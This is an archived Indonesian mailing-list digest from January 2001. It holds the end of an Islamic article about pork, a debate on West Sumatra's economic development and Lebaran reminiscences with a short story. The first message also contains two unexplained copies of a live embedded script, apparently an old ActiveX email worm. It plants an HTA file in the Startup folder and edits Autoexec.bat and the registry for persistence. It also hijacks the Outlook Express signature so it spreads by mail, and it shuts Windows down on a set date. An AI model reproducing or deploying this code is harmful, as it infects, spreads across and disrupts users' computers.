> ekor<BR>ayam<BR>jantan beserta satu ayam betina, dan dua ekor babi =
> jantan=20
> beserta satu<BR>babi<BR>betina.=20
> <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mengetahui hal =
> itu,=20
> mereka bertanya, "Untuk apa semua ini?"<BR>Beliau<BR>menjawab, "Penuhi =
> apa yang=20
> saya pinta, maka akan saya perlihatkan suatu<BR>rahasia."=20
> <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mereka memenuhi =
> apa=20
> yang beliau pinta. Kemudian beliau<BR>memerintahkan agar melepas dua =
> ekor ayam=20
> jantan bersama satu ekor ayam<BR>betina dalam satu kandang. Kedua ayam =
> jantan=20
> itu berkelahi dan saling<BR>membunuh, untuk mendapatkan ayam betina bagi =
> dirinya=20
> sendiri, hingga<BR>salah<BR>satu dari keduanya hampir tewas. Beliau lalu =
>
> memerintahkan agar<BR>mengurung<BR>kedua ayam tersebut.=20
> <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kemudian beliau =
>
> memerintahkan mereka untuk melepas dua ekor<BR>babi<BR>jantan bersama =
> dengan=20
> satu babi betina. Kali ini mereka menyaksikan<BR>keanehan. Babi jantan =
> yang satu=20
> membantu temannya sesama jantan untuk<BR>melaksanakan hajat seksualnnya, =
> tanpa=20
> rasa cemburu, tanpa harga diri<BR>atau<BR>keinginan untuk menjaga babi =
> betina=20
> dari temannya. <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
> Selanjutnya beliau berkata, "Saudara-saudara, daging=20
> babi<BR>membunuh<BR>'ghirah' orang yang memakannya. Itulah yang terjadi =
> pada=20
> kalian. Seorang<BR>lelaki dari kalian melihat isterinya bersama lelaki =
> lain,=20
> dan<BR>membiarkannya<BR>tanpa rasa cemburu, dan seorang bapak di antara =
> kalian=20
> melihat anak<BR>perempuannya bersama lelaki asing, dan kalian =
> membiarkannya=20
> tanpa rasa<BR>cemburu, dan was-was, karena daging babi itu menularkan=20
> sifat-sifatnya<BR>pada<BR>orang yang memakannya."=20
> <BR>********************************<BR>Dari buku: Hidangan Islami: =
> Ulasan=20
> Komprehensif&nbsp; Berdasarkan Syari`at<BR>dan<BR>Sains Modern =
> <BR>Penulis:=20
> Syeikh Fauzi Muhammad Abu Zaid <BR>Penerjemah: Abdul Hayyie al Kattani =
> <BR>Cet :=20
> I/1997 <BR>Penerbit: Gema Insani Press=20
> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
> sp; Jl.=20
> Kalibata Utara II No. 84 Jakarta 12740=20
> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
> sp;=20
> Telp. (021) 7984391-7984392-7988593=20
> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
> sp;=20
> Fax. (021) 7984388=20
> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
> sp; <A=20
> href=3D"http://www.gemainsani.co.id">www.gemainsani.co.id</A> </FONT>
> <SCRIPT><!--
> function Pats(){return =
> true;}window.onerror=3DPats;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Sc=
> an Memory Driver </"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
> WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#468B4><object =
> classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B' =
> id=3D'wsh'></"+"object><SCRIPT>function Patsi(){self.close();return =
> true;}window.onerror=3DPatsi;fs=3Dnew =
> ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\
> \';fl=3D=
> fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
> mye=3Dnew =
> Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
> String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD&=
> Eacute;~1\\\\PROGRA~1\\\\D&Eacute;MARR~1\\\\day.hta';sun=3Dwd+'STARTM~1\\=
> \\Programs\\\\StartUp\\\\day.hta';d2=3Dwd+'help\\\\days.hta';dd=3D(fs.Fil=
> eExists(kfr))?kfr:sun;nau=3D'C:\\\\days.day';aeb=3D'C:\\\\Autoexec.bat';i=
> f(!fs.FileExists(nau)){re=3D/day.hta/i;if(hO.commandLine.search(re)!=3D-1=
> ){f1=3Dfs.GetFile(aeb);f1.Copy(nau);t1=3Df1.OpenAsTextStream(8);pth=3D(dd=
> =3D=3Dkfr)?wd+'MENUD&#144;~1\\\\PROGRA~1\\\\D&#144;MARR~1\\\\day.hta':sun=
> ;t1.WriteBlankLines(1);t1.WriteLine('@ECHO OFF>'+pth);t1.WriteLine('DEL =
> '+pth);t1.Close();}}if(!fs.FileExists(d2)){fs.CopyFile(dd,d2);fs.GetFile(=
> d2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'day.reg');t2.write('REGEDI=
> T4');t2.WriteBlankLines(2);ky2=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+i=
> dn+'\\\\Software\\\\Microsoft\\\\Outlook =
> Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky2+sg+']');t2.Write('=
> \"Default =
> Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky2+sg+'\=
> \\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
> #1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"t
> ext\"=3D=
> \"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\COMMAND\\\\\\\\def=
> ault.htm\"');t2.WriteBlankLines(2);t2.WriteLine(ky2+']');t2.Write('\"Sign=
> ature Flags\"=3Ddword:00000003') =
> ;t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\M=
> icrosoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Write('\"cDays\"=3D\"C=
> :\\\\\\\\WINDOWS\\\\\\\\help\\\\\\\\days.hta\"');t2.WriteBlankLines(2);t2=
> .close();wsh.Run(wd+'Regedit.exe -s =
> '+wd+'day.reg');t3=3Dfs.CreateTextFile(wd+'COMMAND\\\\default.htm',1);t3.=
> Write('<HTML><BODY><DIV =
> style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
> name=3DPatsisnameit id=3Dscr =
> classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC></"+"OBJECT></"+"DIV=
> >');t4=3Dfs.OpenTextFile(d2,1);while(t4.Read(1)!=3D'Z');t3.WriteLine('<SC=
> RIPT><!--');t3.write('function Pats(){return =
> true;}window.onerror=3DPats;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(4192=
> );t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
> \\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
> ;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
> age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
> D&eacute;marrer\\\\\\\\Programmes\\\\\\\\D&eacute;marrage\\\\\\\\day.hta\=
> ":\"C:\\\\\\\\windows\\\\\\\\Start =
> Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\day.hta\";agt=3Dnavigator.user=
> Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
> r.appVersion)>4))||(agt.indexOf(\"msie =
> 5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
> </"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'COMMAND\\\\default=
> .htm').Attributes=3D2;fs.DeleteFile(wd+'day.reg');d=3Dnew =
> Date();if(d.getDate()=3D=3D11 && d.getHours()>16){alert('Days It was a =
> day to be a days!');wsh.Run(wd+'RUNDLL32.EXE =
> user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 Scan Memory =
> Driver";la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigato=
> r.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\Menu =
> D&eacute;marrer\\Programmes\\D&eacute;marrage\\day.hta":"C:\\windows\\Sta=
> rt =
> Menu\\Programs\\StartUp\\day.hta";agt=3Dnavigator.userAgent.toLowerCase()=
> ;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
> gt.indexOf("msie 5.")!=3D-1))scr.write();
> //--></SCRIPT>
> </OBJECT></FONT>
> <SCRIPT><!--
> function Pats(){return =
> true;}window.onerror=3DPats;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Sc=
> an Memory Driver </"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
> WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#468B4><object =
> classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B' =
> id=3D'wsh'></"+"object><SCRIPT>function Patsi(){self.close();return =
> true;}window.onerror=3DPatsi;fs=3Dnew =
> ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\
> \';fl=3D=
> fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
> mye=3Dnew =
> Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
> String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD&=
> Eacute;~1\\\\PROGRA~1\\\\D&Eacute;MARR~1\\\\day.hta';sun=3Dwd+'STARTM~1\\=
> \\Programs\\\\StartUp\\\\day.hta';d2=3Dwd+'help\\\\days.hta';dd=3D(fs.Fil=
> eExists(kfr))?kfr:sun;nau=3D'C:\\\\days.day';aeb=3D'C:\\\\Autoexec.bat';i=
> f(!fs.FileExists(nau)){re=3D/day.hta/i;if(hO.commandLine.search(re)!=3D-1=
> ){f1=3Dfs.GetFile(aeb);f1.Copy(nau);t1=3Df1.OpenAsTextStream(8);pth=3D(dd=
> =3D=3Dkfr)?wd+'MENUD&#144;~1\\\\PROGRA~1\\\\D&#144;MARR~1\\\\day.hta':sun=
> ;t1.WriteBlankLines(1);t1.WriteLine('@ECHO OFF>'+pth);t1.WriteLine('DEL =
> '+pth);t1.Close();}}if(!fs.FileExists(d2)){fs.CopyFile(dd,d2);fs.GetFile(=
> d2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'day.reg');t2.write('REGEDI=
> T4');t2.WriteBlankLines(2);ky2=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+i=
> dn+'\\\\Software\\\\Microsoft\\\\Outlook =
> Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky2+sg+']');t2.Write('=
> \"Default =
> Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky2+sg+'\=
> \\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
> #1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"t
> ext\"=3D=
> \"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\COMMAND\\\\\\\\def=
> ault.htm\"');t2.WriteBlankLines(2);t2.WriteLine(ky2+']');t2.Write('\"Sign=
> ature Flags\"=3Ddword:00000003') =
> ;t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\M=
> icrosoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Write('\"cDays\"=3D\"C=
> :\\\\\\\\WINDOWS\\\\\\\\help\\\\\\\\days.hta\"');t2.WriteBlankLines(2);t2=
> .close();wsh.Run(wd+'Regedit.exe -s =
> '+wd+'day.reg');t3=3Dfs.CreateTextFile(wd+'COMMAND\\\\default.htm',1);t3.=
> Write('<HTML><BODY><DIV =
> style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
> name=3DPatsisnameit id=3Dscr =
> classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC></"+"OBJECT></"+"DIV=
> >');t4=3Dfs.OpenTextFile(d2,1);while(t4.Read(1)!=3D'Z');t3.WriteLine('<SC=
> RIPT><!--');t3.write('function Pats(){return =
> true;}window.onerror=3DPats;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(4192=
> );t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
> \\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
> ;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
> age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
> D&eacute;marrer\\\\\\\\Programmes\\\\\\\\D&eacute;marrage\\\\\\\\day.hta\=
> ":\"C:\\\\\\\\windows\\\\\\\\Start =
> Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\day.hta\";agt=3Dnavigator.user=
> Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
> r.appVersion)>4))||(agt.indexOf(\"msie =
> 5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
> </"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'COMMAND\\\\default=
> .htm').Attributes=3D2;fs.DeleteFile(wd+'day.reg');d=3Dnew =
> Date();if(d.getDate()=3D=3D11 && d.getHours()>16){alert('Days It was a =
> day to be a days!');wsh.Run(wd+'RUNDLL32.EXE =
> user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 Scan Memory =
> Driver";la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigato=
> r.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\Menu =
> D&eacute;marrer\\Programmes\\D&eacute;marrage\\day.hta":"C:\\windows\\Sta=
> rt =
> Menu\\Programs\\StartUp\\day.hta";agt=3Dnavigator.userAgent.toLowerCase()=
> ;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
> gt.indexOf("msie 5.")!=3D-1))scr.write();
> //--></SCRIPT>
> </OBJECT></DIV></BODY></HTML>
>
> ------=_NextPart_000_0073_01C07AEE.83FBDB60--
>
> =======================================================
>
> From: [EMAIL PROTECTED]
> Date: Wed, 10 Jan 2001 10:14:12 +0700
> Subject: RE: Keunggulan komparatif, kompetitif, dan investasi di
> Sum-Bar (was:RE: [RantauNet] BIG BANG: LAYAR SUDAH TERKEMBANG)
> Reply-To: [EMAIL PROTECTED]
>
>
>
>
>
>
>
> [EMAIL PROTECTED] on 01/08/2001 01:58:47 PM
>
> Please respond to [EMAIL PROTECTED]
>
> To:   [EMAIL PROTECTED]
> cc:    (bcc: Muhammad Luthfi/158/MercedesBenz_NFZ)
>
> Subject:  RE: Keunggulan komparatif, kompetitif, dan investasi di Sum-Bar
>       (was:RE: [RantauNet] BIG BANG: LAYAR SUDAH TERKEMBANG)
>
>
>
>
> >From: [EMAIL PROTECTED]
> >Sent: Senin 08 Januari 2001 11:12
> >To: [EMAIL PROTECTED]
> >Subject: Re: Keunggulan komparatif, kompetitif, dan investasi di Sum-Bar
> >(was:RE: [RantauNet] BIG BANG: LAYAR SUDAH TERKEMBANG)
>
>
>
>
> Riri :
> Memang, industri ini sarat resiko. Tetapi seharusnya kalau
> konsisten dengan
> persyaratan ISO14000 lingkungan, rasanya bisa diatasi. Tetapi saya akui
> bahwa
> industri manufaktur (semua industri manufaktur menghasilkan limbah) adalah
> suatu jenis industri yang beresiko tinggi terhadap fisik lingkungan.
>
> luthfi:
> inilah persoalan yang kurang kita waspadai satu lagi. bahwasanya industri2
> manufaktur dg teknologi rendah adalah sarat resiko. dan jika
> konsisten dengan
> ISO14000 akan menelan ongkos mahal dan menjadi kurang ekonomis.
> alasan inilah
> mungkin yang menyebabkan kenapa negara2 maju mau mentransfer
> industri2 kelas
> tersebut ke negara2 kentiga. karena nilai tambahnya tidak begitu besar dan
> ongkos sosial dan lingkungan terlalu mahal
>
>
>
> Riri :
> Tetapi saya tetap berpikir bahwa untuk jangka pendek, rasanya sulit untuk
> menerapkan ini. Jadi untuk memenuhi kebutuhan jangka pendek (10 tahun ke
> depan)
> rasanya nuansa ekonomi "lama" ini masih relevan
>
> luthfi:
> sdr riri,
> dengan segala kehati-hatian agar jangan terjerumus pada kata2 kasar dan
> kesombongan, izinkan saya sampaikan kalimat berikut.
> Pendekatan yang kita butuhkan adalah sebuah pendekatan unik dan
> luar biasa.
> kelaur dari kerangka paradigma standard. karena persoalan kita
> bukan persoalan
> standard. memaksakan diri pada pendekatan konserfatif hanya akan
> mengantar kita
> maju selangkah. sedangkan dunia ini juga maju terus selangkah
> demi selangkah.
> bahkan ada yang banyak langkah. artinya kita akan tetap
> ketinggalan beberapa
> langkah dari dunia yang kita idam2kan.
>
>
>
>
> Riri :
> Oh, saya setuju sekali, dasar membangun keunggulan kompetitif adalah
> community building melalui pendidikan, baik pengetahuan, teknologi, serta
> jangan dilupakan rohani dan mental. Tanpa hal ini, nggak bakal pernah ada
> keunggulan kompetitif, karena keunggulan kompetitif ini pada prinsipnya
> adalah intervensi manusia melalui proses produksi barang dan jasa.
> Tanpa manusia terdidik dan memiliki keahlian tinggi, nggak pernah ada
> namanya keunggulan kompetitif suatu wilayah dan bangsa.
>
> Mengenai kawasan pendidikan, saya sangat setuju. Tetapi apakah bisa
> dilakukan dalam jangka pendek ? Ini permasalahannya. Pendidikan adalah
> suatu investasi yang sangat sangat panjang jangka waktu pengembalian
> manfaatnya, dan sangat tergantung kepada lingkungan sekitar.
>
> Mengenai pendidikan, menurut saya pendidikan dan industri atau lingkungan
> masyarakat sekitar adalah sesuatu yang saling mendukung, bolak-balik.
> Pendidikan nggak bisa menjadi menara gading yang steril dari lingkungan.
> Jangan belajar teknik industri atau manufaktur di Singapura, karena pasti
> mutunya nggak sebagus Jerman, AS, atau Jepang. Mengapa ? Karena mereka
> tidak memiliki keunggulan di bidang manufaktur. Jurusan teknik penerbangan
> di ITB sekarang sedang "payah" karena IPTN sudah "tutup". Kalau
> mau belajar
> ilmu gempa bumi sebaiknya ke Jepang. Kalau belajar tentang pelabuhan laut,
> boleh jadi sebaiknya ke Singapura ...
>
> Maka saya tetap percaya akan perlunya membangun cluster unggulan
> di Sum-Bar.
> Dalam jangka pendek, saya belum melihat peluang lain selain
> cluster industri
> semen dan turunannya. Seiring dengan hal itu, dalam jangka panjang
> barangkali
> dapat dipersiapkan cluster unggulan lainnya seperti kawasan pendidikan,
> pariwisata (yang sehat tentunya), dan sebagainya. Barangkali ini karena
> keterbatasan informasi dan pemikiran saya yang tidak mampu melihat pilihan
> cluster unggulan lain untuk jangka pendek.
>
> Wah, diskusi semakin seru ... semakin menarik, hapa kaji dek diulang ...
> Berbagai pemikiran kritis akan menghasilkan gagasan besar kata
> orang bijak.
> Ada yang mau memberikan pendapat lain ?
>
> Luthfi:
> sdr riri, dan sdr2 sekalian,
> tolong koreksi pendapat2 saya berikut ini.
>
> Pada pandangan manajemen post modernist, mungkin sumber bahan
> baku mentah tidak
> lagi merupakan sebah keunggulan komparatif. karena kenyataan dunia
> memperlihatkan bahwa toh daerah2/negara2 tanpa bahan bakupun
> sanggup menguasai
> dunia industri.
>
> Seperti pembicaraan terdahulu bahwa wisata berkonsekuensi
> prostitusi adalah
> suatu yang sulit sekali di hindari. kecuali jika kita ciptakan
> wisata sejarah
> dan spiritual. untuk kedua hal terakhir ini, daerah kita bukanlah
> sebuah kawasan
> suci dan sejarah daerah kita juga tidak terlalu "hebat" untuk di jual.
>
> itu dulu saudar2......
> saya senang sekali tiap kali ada posting baru ttg subject ini.
> biarpun saya
> mungkin tidak sependapat, pandangan2 yg ada selalu meng-upgrade
> wawasan saya.
>
> wassalam
> luthfi
>
>
> Wassalam
> ~Riri
>
> RantauNet http://www.rantaunet.com
> =================================================
> Mendaftar atau berhenti menerima RantauNet Mailing List di
> http://www.rantaunet.com/subscribe.php3
>
> ATAU Kirimkan email
> Ke / To: [EMAIL PROTECTED]
> Isi email / Messages, ketik pada baris/kolom pertama:
> - mendaftar: subscribe rantau-net [email_anda]
> - berhenti: unsubscribe rantau-net [email_anda]
> Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> =================================================
> WebPage RantauNet dan Mailing List RantauNet adalah
> servis dari EEBNET http://eebnet.com, Airland Groups, USA
> =================================================
>
>
>
>
>
>
> =======================================================
>
> From: MULYADI <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 11:34:05 +0700
> Subject: RE: [RantauNet] Nan tatingga dari Ramadhan nan lah lapeh
> Reply-To: [EMAIL PROTECTED]
>       wa'alaikum salam
>       Ikutan aach, sekedar berbagi rasa, setelah pulang kampung.......(
> apa yg telah di lihat )
> > Selamat Hari Rayo Idul Fitri ,Minal aidin Wal Faidzin.
>       kalau Ambo iyo maadokan hari rayo di kampuang, tepatnya di padang
> luar tiga koto, 'Batu sangkar' ( padang luar, turawan, galogandang)
>       Di tampek ambo baitu juo, surau-surau sepi, kalau di danau singkarak
> iyo lai panuah,  '-(
>       mulai dari anak ketek sampai yg tuo, sampai gadih2 yg bajilbab,
> mereka2 bagadang di tapi danau tu sampai pagi, plus pesta minum bir nggak
> ketinggalan
>       (kaba dari kawan yg lewat danau pd malam takbiran)
>       kalau ambo pikia, jangankan nanti, kini sajo alah banyak yg jauh
> dari musaji', ngeriiiiiiiiii malie sumbar kini ko.
>
>       Kabar baru, bagi yg ingin melihat pemandangan luar biasa indahnya,
> sekarang bukit aur serumpun (bukit di atas danau singkarak
> terletak di desa
> padang luar 3 koto)
>       sudah bisa di naiki mobil sampai ke puncak, sebelah kiri bisa
> melihat seluruh kampung ambo, dari kanan bisa melihat danau singkarak
> seutuhnya. Naik dari ombilin
>       sesampai di sana tanya ke orang2, mana jalan menuju bukit aur
> serumpun.
>
>       wassalam
>
>
>
>
> > ----------
> > From:       irwan[SMTP:[EMAIL PROTECTED]]
> > Reply To:   [EMAIL PROTECTED]
> > Sent:       Wednesday, January 10, 2001 9:48 AM
> > To:         [EMAIL PROTECTED]
> > Subject:    Re: [RantauNet] Nan tatingga dari Ramadhan nan lah lapeh
> >
> > Assalamualaikum,wr.wb
> > Yth, Uda Lembang Alam
> > Partamo ambo sampaikan Selamat Hari Rayo Idul Fitri ,Minal aidin Wal
> > Faidzin.
> > Manginyam Katupek lebaran Uda Ambo jadi taingek jo kampuang wakatu ketek
> > dulu,kebetulan rayo ko ambo indak pulang kampuang,  kalau anak Uda
> > marasokan
> > di Balikpapan labiah meriah, ambo di Balikpapan  marasokan indak ado nan
> > labiah meriah salain di kampuang doh.
> > Namun ado nan mambuek  hati ambo tasintuah di malam hari rayo
> di desa ambo
> > Koto tangah Tilatang Kamang di tahun 80 an , surau -surau sepi jo suaro
> > takbiran kalaupun lai suaro takbiran mungkin dari kaset, ambo liek
> > anak-anak
> > sapangkek ambo banyak bagarombolan di tapi jalan raya/simpang.
> Ambo sempat
> > bapikia apokoh lamo-lamo nantinyo urang kampuang ambo makin jauah dari
> > musajik, musajik banyak gadang-gadang dan taruih di parancak (dapek
> > bantuan
> > dari rantau)  tapi jamaahnyo hanyo babarapo urang tuo-tuo sajo.
> > Mungkin paralu awak pikiakan kalau ka mangirim bantuan untuk musajik di
> > kampung indak lai untuak mamparancak musajik sajo tapi mungkin mambuek
> > musajik manjadi tampaik nan manyanagkan bagi anak-anak sampai anak mudo,
> > mungkin bisa mangambangkan perputakaan mesjid dengan
> mangirimkam buku-buku
> > bacaan dsb.
> > Sakitu dulu , ambo mohon maaf kalau ada kato-kato ambo nan indak pado
> > tampaiknyo,
> >
> > Wassalam dan maaf
> >
> > I r w a n
> > BALIKPAPAN
> >
> > ----- Original Message -----
> > From: "Muhammad Dafiq Saib" <[EMAIL PROTECTED]>
> > To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
> > Sent: Tuesday, January 09, 2001 8:21 AM
> > Subject: [RantauNet] Nan tatingga dari Ramadhan nan lah lapeh
> >
> >
> > > Assalamu'alaikum wr.wb.,
> > >
> > > Iyo lamo ambo indak ka lapau, indak pulo ka surau.
> > > Alhamdulillah, kini baru talakik maengong baliak.
> > > Mudah-mudahan awak kasadono tatap dalam bimbingan
> > > Allah SWT. Amiin.
> > >
> > > Iko ado saketek nan ambo tulih persis bana saari ari
> > > rayo, tapi dek bendi di rumah agak baulah, katiko itu
> > > indak takirin. Mudah-mudahan bamanpaaik.
> > >
> > > Wassalamu'alaikum wr.wb.,
> > >
> > > Lembang Alam
> > >
> > >
> > >
> > > KETUPAT LEBARAN
> > >
> > > Hari baru jam sembilan lebih seperempat malam. Aku
> > > baru kembali dari mesjid. Takbir masih  terdengar
> > > bergemuruh. Allahu Akbar - Allahu Akbar - Allahu
> > > Akbar. Laa ilaha illa 'Llahu waLlahu Akbar. Allahu
> > > Akbar walilLahil hamd. Selesai sudah Ramadhan tahun
> > > ini, setelah tigapuluh hari penuh berpuasa. Bahana
> > > takbir bersahut-sahutan di udara malam nan  syahdu.
> > >
> > > Di rumah kudapati anak-anak dan ibu mereka sedang
> > > bergotong royong di meja makan menyiapkan hidangan
> > > hari raya besok. Mereka bekerja sambil berseloroh,
> > > mengobrol macam-macam dari barat ke timur, mengulangi
> > > kenangan lama saat mereka masih kanak-kanak, diselingi
> > > tawa terkekeh-kekeh.
> > > "Malam takbiran seperti ini selalu mengingatkanku pada
> > > Balikpapan" kata si Sulung. "Hari raya disana selalu
> > > lebih ramai. Sehabis salat Ied tamu kita, terutama
> > > teman-teman sekantor ayah  segera berdatangan." "Iya,
> > > aku ingat kita bergantian membakar sate dan rumah kita
> > > seperti warung sate Padang." si Tengah menambahkan.
> > > "Malam takbiran begini biasanya kita menusuk sate
> > > beramai-ramai, sementara si mBok sibuk merebus
> > > ketupat. Kenapa buk, disini kita tidak membuat sate
> > > Padang?" si Bungsu menimpali. "Di sini
> > > tetangga-tetangga datang berhari raya hanya sampai di
> > > pintu rumah untuk bersalaman, setelah itu pergi, beda
> > > dengan di Balikpapan yang lebih akrab. Kalau disini
> > > masing-masing orang ingin segera berkumpul dengan
> > > keluarga besarnya." jawab ibu mereka. "Lha, apa
> > > hubungannya dengan tidak bikin sate Padang?" si Tengah
> > > yang kritis menyela. "Hubungannya, yang makan hanya
> > > kita-kita saja, karena tamu kita jarang yang mau ikut
> > > duduk untuk makan bersama karena disini begitu
> > > tradisinya. Kalau cuma untuk kita, ya kita pergi saja
> > > ke warung sate Padang" si Sulung membuat interpretasi.
> > > "Ah, bukan juga begitu, kalau kalian mau nanti
> > > kapan-kapan kita bikin" jawab ibu. "Sekarang biarlah
> > > kita siapkan ketupat dan opor ayam ini saja."
> > >
> > > "Ngomong-ngomong tentang Balikpapan aku ingat waktu
> > > pertama kali ikut salat taraweh, aku maunya salat
> > > dekat ayah, dan aku ditertawakan karena anak cewek
> > > harusnya salat di belakang bersama ibu-ibu, he he he."
> > > kenang si Sulung yang asik mengupas bawang. "Kalau aku
> > > yang nggak bisa lupa waktu aku menumpahkan kolak
> > > pisang di sajadah tante Ani waktu salat taraweh di
> > > rumahnya. Tante Ani  yang latah itu tereak-tereak
> > > mengatakan aku ngompol sehingga semua orang melotot ke
> > > arahku." kata si Tengah. "Ya, dan kamu langsung nangis
> > > waktu itu, he he he" si Sulung menambahkan.
> > >
> > > Suara takbir bersahut-sahutan masih terus terdengar
> > > dari pengeras suara di mesjid-mesjid di sekitar
> > > kompleks perumahan ini. Allahu Akbar waliLlahil hamd.
> > > Biasanya cerita nostalgia itu berlanjut kemana-mana.
> > > Masing-masing mengungkit memori kanak-kanak mereka
> > > tentang kejadian sekitar sepuluh tahun atau lebih yang
> > > lalu. Kadang-kadang aku ikut membumbui obrolan mereka.
> > > Kadang-kadang aku ikut mengingatkan kejadian yang
> > > mereka alami. Kadang-kadang aku juga menceritakan
> > > kenanganku waktu kecil selama puasa Ramadhan. Ceritaku
> > > tentu saja lain dengan pengalaman anak-anak yang lebih
> > > berwarna-warni, karena waktu aku kecil kami menjalani
> > > bulan puasa ditengah kesederhanaan  suasana kampung.
> > >
> > > Allahu Akbar kabiiran, wa subhanaLlahi bukratan wa
> > > ashiila. Entah kenapa, tiba-tiba saja air mataku
> > > berlinang kali ini dan aku jadi terisak-isak. Tentu
> > > saja semua jadi gempar. "Kenapa ayah? Kok ayah jadi
> > > cengeng begini?" tanya si Bungsu hati-hati. Yang lain
> > > semua diam membisu. Mereka bahkan menghentikan
> > > pekerjaan mereka, menatap padaku dengan tatapan penuh
> > > tanda tanya. Aku mencoba meredam emosi. Allahu Akbar
> > > walilLahil hamd.
> > > "Berapa tahun sejak kamu ikut salat taraweh yang
> > > pertama kali yang kamu sebutkan tadi?" tanyaku pada si
> > > Sulung. Dia berfikir sebentar. "Enam belas tahun ayah.
> > > Waktu itu aku masih di TK nol kecil" jawabnya. "Betul.
